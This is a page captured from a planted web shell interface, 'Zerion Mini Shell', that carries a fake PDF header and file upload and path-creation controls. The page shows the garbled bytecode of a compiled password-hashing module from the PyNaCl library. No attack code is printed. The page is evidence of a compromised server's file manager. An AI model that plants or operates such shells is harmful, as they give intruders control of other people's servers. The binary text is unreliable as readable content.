%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/pwhash/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/pwhash/__pycache__/__init__.cpython-312.pyc

�

�fs
����ddlmZddlmZmZmZmZejZejZejejk(sJ�ejZejZejZ
ejZejZej Zej"Zej$Zej&Zej(Zej*Zej,Zej.Zej0ej0k7sJ�ej2ZejZej"Zej$Zej*Zej,Zej@Z!ej.Z"ejFZ$de%de%de&fd�Z#y)	�)�CryptPrefixError�)�_argon2�argon2i�argon2id�scrypt�
password_hash�password�returnc�v�|jtj�rtj||�S|jtj�rtj||�St
jr5|jt
j�rtj||�Std��)z�
    Takes a modular crypt encoded stored password hash derived using one
    of the algorithms supported by `libsodium` and checks if the user provided
    password will hash to the same string when using the parameters saved
    in the stored hash
    z0given password_hash is not in a supported format)�
startswithr�	STRPREFIX�verifyrr�	AVAILABLEr)r	r
s  �6/usr/lib/python3/dist-packages/nacl/pwhash/__init__.pyrr9s������� 2� 2�3����}�h�7�7�	�	!�	!�'�"3�"3�	4����}�h�7�7�	�	�	�m�6�6�v�7G�7G�H��}�}�]�H�5�5�
�B�
�	
�N)'�nacl.exceptionsr�rrrrr�PWHASH_SIZE�ALG_ARGON2_DEFAULT�ALG_ARGON2ID13�
PASSWD_MIN�
PASSWD_MAX�MEMLIMIT_MAX�MEMLIMIT_MIN�OPSLIMIT_MAX�OPSLIMIT_MIN�OPSLIMIT_INTERACTIVE�MEMLIMIT_INTERACTIVE�OPSLIMIT_MODERATE�MEMLIMIT_MODERATE�OPSLIMIT_SENSITIVE�MEMLIMIT_SENSITIVE�str�ALG�	SALTBYTES�SCRYPT_SALTBYTES�SCRYPT_PWHASH_SIZE�SCRYPT_OPSLIMIT_INTERACTIVE�SCRYPT_MEMLIMIT_INTERACTIVE�SCRYPT_OPSLIMIT_SENSITIVE�SCRYPT_MEMLIMIT_SENSITIVE�kdf�kdf_scryptsalsa208sha256�scryptsalsa208sha256_strr�verify_scryptsalsa208sha256�bytes�bool�rr�<module>r4sm�� -�0�0����	��"�"���!�!�W�%;�%;�;�;�;��
 �
 �
�
�
 �
 �
��$�$���$�$���$�$���$�$���4�4���4�4���.�.���.�.���0�0���0�0���l�l���{�{�h�l�l�"�"�"��#�#���'�'��$�9�9��$�9�9��"�5�5��"�5�5��"�:�:��!�:�:��$�m�m��
�%�
�5�
�T�
r

Zerion Mini Shell 1.0